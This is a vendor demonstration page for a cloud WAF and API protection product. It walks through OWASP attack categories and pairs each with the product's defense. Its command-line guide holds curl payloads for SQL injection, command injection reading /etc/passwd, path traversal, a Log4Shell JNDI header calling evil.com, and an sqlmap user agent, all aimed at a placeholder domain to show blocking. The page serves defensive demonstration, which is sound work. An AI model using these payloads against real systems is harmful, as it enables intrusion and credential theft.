Cloud WAF & API Protection Demonstration

Interactive testing suite for OWASP Web & API Top 10 threats running on AWS CloudFront & ALB with Imperva for AWS (vPoP).

x-impv-origin-domain: Direct / Not Injected

CloudFront Country: US

Client IP: 216.73.216.177, 16.164.77.104, 15.158.250.74

A03:2021

SQL Injection (SQLi)

Simulates authentication bypass and database exfiltration using SQL syntax injection.

Attack Payload (Query Parameter):

Imperva Defense: Analyzes grammar and syntax trees to identify SQL injection without false positives.

A03:2021

Cross-Site Scripting (XSS)

Injects malicious JavaScript into reflection parameters targeting client browsers.

Attack Payload:

Imperva Defense: Deep packet inspection intercepts script tags, event handlers, and DOM-based injection vectors.

A03:2021

OS Command Injection (RCE)

Attempts to escape the application context and execute arbitrary operating system commands.

Command Payload:

Imperva Defense: Shell metacharacter detection blocks command chaining (;, |, `, $()).

A01:2021

Path Traversal & LFI

Attempts directory traversal to read restricted server filesystem configuration files.

File Path Payload:

Imperva Defense: Directory Traversal & Illegal Resource Access policies block dot-dot-slash patterns.

A10:2021

Server-Side Request Forgery (SSRF)

Forces backend server to query AWS IMDS (Instance Metadata Service) for IAM credentials.

Target URL Payload:

Imperva Defense: SSRF signature engine blocks requests targeting private IPs and cloud metadata IP endpoints.

A06:2021

Log4Shell / JNDI Exploit (CVE-2021-44228)

Injects JNDI LDAP lookup strings inside HTTP headers to trigger remote code execution.

Header Payload (X-Api-Version):

Imperva Defense: Zero-Day Virtual Patching shields against JNDI syntax in query, body, and all request headers.

A05:2021

Sensitive File Probing (.env / .git)

Automated scanner probing for exposed environment variables, credentials, and Git repositories.

Target Path:

Imperva Defense: Known sensitive files & backdoor hunting signatures immediately block reconnaissance scanners.

A02:2021

Sensitive Data Exposure & DLP

Tests whether backend responses containing credit cards and API keys are masked by WAF DLP.

Endpoint:

Imperva Defense: Imperva Data Loss Prevention (DLP) masks credit cards, SSNs, and tokens in transit.

API1:2023

Broken Object Level Authorization (BOLA)

Attacker alters the resource ID in the URL to view another customer's financial account statement.

Account ID in REST Path:

Imperva Defense: Imperva API Security models normal entity relationships and detects cross-tenant data exfiltration.

API3:2023

Broken Object Property (Mass Assignment)

Injects elevated administrative attributes ("role": "super_admin") in registration payload.

JSON Body Payload:

Imperva Defense: OpenAPI Schema Enforcement drops unauthorized parameters and non-compliant schemas.

API4:2023

Unrestricted Resource Consumption (Rate Abuse)

Floods SMS/OTP endpoint to exhaust cloud backend budgets or trigger application DoS.

Burst Request Count:

Imperva Defense: Advanced Bot Protection (ABP) & Adaptive Rate Limiting mitigate API scraping and brute force.

API5:2023

Broken Function Level Auth (BFLA)

Regular client user invokes administrative endpoint (/api/v1/admin/export-database).

Restricted Admin Path:

Imperva Defense: Function-level role profiling and RBAC validation prevent unauthorized privileged function calls.

API9:2023

Improper Inventory Management (Shadow APIs)

Probing forgotten legacy endpoints (/api/v0.9/legacy-export) that lack authentication.

Shadow API Path:

Imperva Defense: Automated API Discovery scans live traffic to discover and categorize shadow or rogue endpoints.

HTTP Request Headers Passed to Origin

Header Name	Header Value	Source / Description
X-Forwarded-For	216.73.216.177, 16.164.77.104, 15.158.250.74	Standard Header
X-Forwarded-Proto	https	Standard Header
X-Forwarded-Port	443	Standard Header
Host	vpop-app.darc-syn.com	Standard Header
X-Amzn-Trace-Id	Root=1-6a883e07-16b470d205f82c42042310ba	Standard Header
X-Request-Id	df4ede38-74d7-4edd-b5df-26c8bd98242f	Standard Header
Cloudfront-Viewer-Country-Region	OH	AWS CloudFront Header
Cloudfront-Viewer-Address	16.164.77.104:64240	AWS CloudFront Header
X-Envoy-External-Address	216.73.216.177	Standard Header
Cloudfront-Forwarded-Proto	https	AWS CloudFront Header
User-Agent	Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)	Standard Header
Via	2.0 b23a126329a579b59d12a0004a8bbe6c.cloudfront.net (CloudFront), 1.1 4d7342b4a4c52b6ee947e3aa0bdebf02.cloudfront.net (CloudFront)	Standard Header
X-Amz-Cf-Id	DXWao0z9PfP1FJPXgU7MrgLmZ9GMDTXiYDWCC3p7-GD5XTbt6k6mvQ==	Standard Header
Cloudfront-Viewer-Http-Version	1.1	AWS CloudFront Header
Cloudfront-Is-Tablet-Viewer	false	AWS CloudFront Header
Accept	/	Standard Header
Accept-Encoding	gzip, br, zstd, deflate	Standard Header
Cloudfront-Is-Smarttv-Viewer	false	AWS CloudFront Header
Cloudfront-Is-Mobile-Viewer	false	AWS CloudFront Header
Cloudfront-Is-Ios-Viewer	false	AWS CloudFront Header
Cloudfront-Viewer-Country	US	AWS CloudFront Header
Cloudfront-Viewer-Asn	16509	AWS CloudFront Header
Cloudfront-Is-Desktop-Viewer	true	AWS CloudFront Header
Cloudfront-Is-Android-Viewer	false	AWS CloudFront Header
Cloudfront-Viewer-Tls	TLSv1.3:TLS_AES_128_GCM_SHA256:connectionReused	AWS CloudFront Header
Cloudfront-Viewer-Country-Region-Name	Ohio	AWS CloudFront Header
Cloudfront-Viewer-Latitude	39.95870	AWS CloudFront Header
Cloudfront-Viewer-Longitude	-82.99870	AWS CloudFront Header
Cloudfront-Viewer-Postal-Code	43215	AWS CloudFront Header
Cloudfront-Viewer-Metro-Code	535	AWS CloudFront Header
Cloudfront-Viewer-Country-Name	United States	AWS CloudFront Header
Cloudfront-Viewer-Time-Zone	America/New_York	AWS CloudFront Header
Cloudfront-Viewer-City	Columbus	AWS CloudFront Header

Command Line Demonstration Guide (SE Toolkit)

Run these commands directly in your terminal against your CloudFront distribution domain to demonstrate blocking actions:

1. SQL Injection (Blocked with HTTP 403)

curl -i -s "https://YOUR_CLOUDFRONT_DOMAIN/api/vulnerabilities/sqli?query=%27%20OR%20%271%27=%271%27%20--"

2. OS Command Injection / RCE (Blocked with HTTP 403)

curl -i -s "https://YOUR_CLOUDFRONT_DOMAIN/api/vulnerabilities/rce?cmd=%3B%20cat%20%2Fetc%2Fpasswd"

3. Path Traversal / LFI (Blocked with HTTP 403)

curl -i -s "https://YOUR_CLOUDFRONT_DOMAIN/api/vulnerabilities/lfi?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"

4. Log4Shell Header Injection (Blocked with HTTP 403)

curl -i -s -H "X-Api-Version: \${jndi:ldap://evil.com/a}" "https://YOUR_CLOUDFRONT_DOMAIN/api/vulnerabilities/log4shell"

5. Bad Bot Scanner User-Agent (Blocked by Bot Protection)

curl -i -s -A "sqlmap/1.6#stable" "https://YOUR_CLOUDFRONT_DOMAIN/"

Imperva for AWS (vPoP) Architecture & Integration Flow

User / Attacker

Sends HTTPS requests to the AWS CloudFront edge.

➔

AWS CloudFront

Origin set to imperva_origin_domain with header x-impv-origin-domain.

➔

Imperva Cloud WAF

Inspects WAF/API rules, ABP, and DDoS. Blocks malicious traffic with incident ID.

➔

AWS ALB & EC2

Receives clean, filtered traffic forwarded by Imperva data center origin.

Live Attack Response Inspector

Ready for execution

Sent HTTP Request

No request sent yet. Click any 'Execute Attack' button above.

Received Response

Awaiting execution...